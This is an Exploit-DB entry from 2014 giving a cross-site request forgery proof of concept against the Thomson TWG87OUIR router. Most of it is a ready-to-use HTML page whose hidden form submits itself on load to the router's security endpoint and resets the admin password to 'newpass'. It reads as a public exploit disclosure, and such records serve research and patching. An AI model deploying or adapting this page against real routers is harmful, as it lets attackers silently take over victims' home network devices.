Thomson TWG87OUIR - POST Password Cross-Site Request Forgery

EDB-ID:

33866


Author:

nopesled

Type:

webapps


Platform:

Hardware

Date:

2014-06-25


#Author: nopesled
#Date: 24/06/14
#Vulnerability: POST Password Reset CSRF
#Tested on: Thomson TWG87OUIR (Hardware Version)

<html>
<head>
	<title>Thomson TWG87OUIR CSRF</title>
</head>
<body>
     <form name="exploit" method="post"
	action="http://192.168.0.1/goform/RgSecurity">
	<input type="hidden" name="HttpUserId" value="" />
	<input type="hidden" name="Password" value="newpass" />
	<input type="hidden" name="PasswordReEnter" value="newpass" />
	<input type="hidden" name="RestoreFactoryNo" value-="0x00" />
     </form>
     <script type="text/javascript">
	document.exploit.submit();
     </script>
</body>
</html>